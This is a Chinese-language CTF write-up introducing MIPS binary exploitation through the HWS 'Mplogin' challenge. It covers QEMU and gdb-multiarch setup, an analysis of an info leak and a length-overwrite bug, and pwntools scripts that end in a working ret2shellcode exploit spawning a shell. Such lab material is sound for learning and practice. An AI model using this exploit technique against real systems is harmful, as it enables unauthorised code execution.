前提
环境搭建
qemu
如果还没有安装qemu的小伙伴可以通过以下命令安装
1
| sudo apt install --install-suggests qemu
|
gdb-multiarch
1
| sudo apt-get install gdb-multiarch
|
mips软件包
1 2 3 4 5
| sudo apt-get install gcc-mips-linux-gnu sudo apt-get install gcc-mipsel-linux-gnu sudo apt-get install gcc-mips64-linux-gnuabi64 sudo apt-get install gcc-mips64el-linux-gnuabi64
|
mips汇编
mips架构由于本身特性不支持nx,所以栈段具有执行权限
寄存器 |
别名 |
使用 |
$0 |
$zero |
常量0 |
$1 |
$at |
保留给汇编器 |
$2-$3 |
$v0-$v1 |
函数返回值 |
$4-$7 |
$a0-$a3 |
函数调用参数 |
$8-$15 |
$t0-$t7 |
临时寄存器 |
$16-$23 |
$s0-$s7 |
保存寄存器 |
$24-$25 |
$t8-$t9 |
临时寄存器 |
$26-$27 |
$k0-$k1 |
保留给系统 |
$28 |
$gp |
全局指针 |
$29 |
$sp |
堆栈指针 |
$30 |
$fp |
帧指针 |
$31 |
$ra |
返回地址 |
Instruction |
Example |
Meaning |
jump |
j 10000 |
go to 10000 Jump to target address |
jump register |
jr $31 |
go to $31 For switch, procedure return |
jump and link |
jal 10000 |
$31 = PC + 4; go to 10000 For procedure call |
分析
静态分析
mips pwn我们就用hws入营赛的一道题来入门
strncmp函数将输入的前5个字节与admin比较,相同返回0,程序继续运行。程序没有对输入的最后一字节置空,输入24个字节后可以通过printf带出数据
1 2 3 4 5 6 7 8 9 10 11 12 13
| int username() { char v1[24];
memset(v1, 0, sizeof(v1)); printf("\x1B[34m"); printf("Username : "); read(0, v1, 24); if ( strncmp(v1, "admin", 5) ) exit(0); printf("Correct name : %s", v1); return strlen(v1); }
|
变量v2和v3内存空间是连续的,我们read进20个字节后,可以将v3修改为任意值,然后就可以向v4超量写入数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| int __fastcall sub_400978(int a1) { char v2[20]; int v3; char v4[36];
v3 = a1 + 4; printf("\x1B[31m"); printf("Pre_Password : "); read(0, v2, 36); printf("Password : "); read(0, v4, v3); if ( strncmp(v2, "access", 6) || strncmp(v4, "0123456789", 10) ) exit(0); return puts("Correct password : **********"); }
|
动态调试
分析完函数,开始调试验证,首先介绍下如何调试mips架构下的程序
qemu -g 开启9000端口
1
| qemu-mipsel -g 9000 -L ./ Mplogin | hexdump -C
|
开启另一个terminal启动gdb多架构调试
1
| gdb-multiarch -q ./Mplogin
|
设置mips架构
选择小端序
连接目标端口
漏洞利用
输入admin + xxx泄露出栈地址,拿个小本本记下来,待会有大用
接下来,我们要篡改v3的值,如果要将v3的值覆盖成不可见字符,比如0x120,上面的调试方法就无能为力了,所以下面将介绍另一种调试方法
写好一段脚本,运行
然后按照下面的步骤执行即可,这种调试方法实际上是通过脚本发送不可见数据,其余与上面所述并无二异
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context(log_level = 'debug',arch = 'mips',endian = 'little')
p = process(["qemu-mipsel","-g","9000","-L","./","./Mplogin"])
ru = lambda a: p.readuntil(a) r = lambda n: p.read(n) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a)
sa(b'Username : ',b'admin'.ljust(24,b'a')) p.recvuntil(b'a' * 19) stack = u32(p.recv(4)) log.success('stack => ' + hex(stack))
sa(b'Pre_Password : ',b'access'.ljust(20,b'b') + p32(0x120)) p.interactive()
|
可以看到v3变量(sp+2Ch)已经被覆盖成0x120
这样就可以通过第二个read溢出至返回地址,修改为栈地址后,即可ret2shellcode
笔者的qemu没有开启aslr,通过调试得到栈地址写入也可以,由于没有远程环境,无法确定远程是否开启aslr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context(log_level = 'debug',arch = 'mips',endian = 'little') p = process(["qemu-mipsel","-L","./","./Mplogin"])
ru = lambda a: p.readuntil(a) r = lambda n: p.read(n) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a)
sa(b'Username : ',b'admin'.ljust(24,b'a')) p.recvuntil(b'a' * 19) stack = u32(p.recv(4)) log.success('stack => ' + hex(stack))
sa(b'Pre_Password : ',b'access'.ljust(20,b'b') + p32(0x120)) sa(b'Password : ',b'0123456789'.ljust(40,b'w') + p32(stack) + asm(shellcraft.sh())) p.interactive()
|
参考资料
HWS赛题 入门 MIPS Pwn
MIPS PWN入门
mips-pwn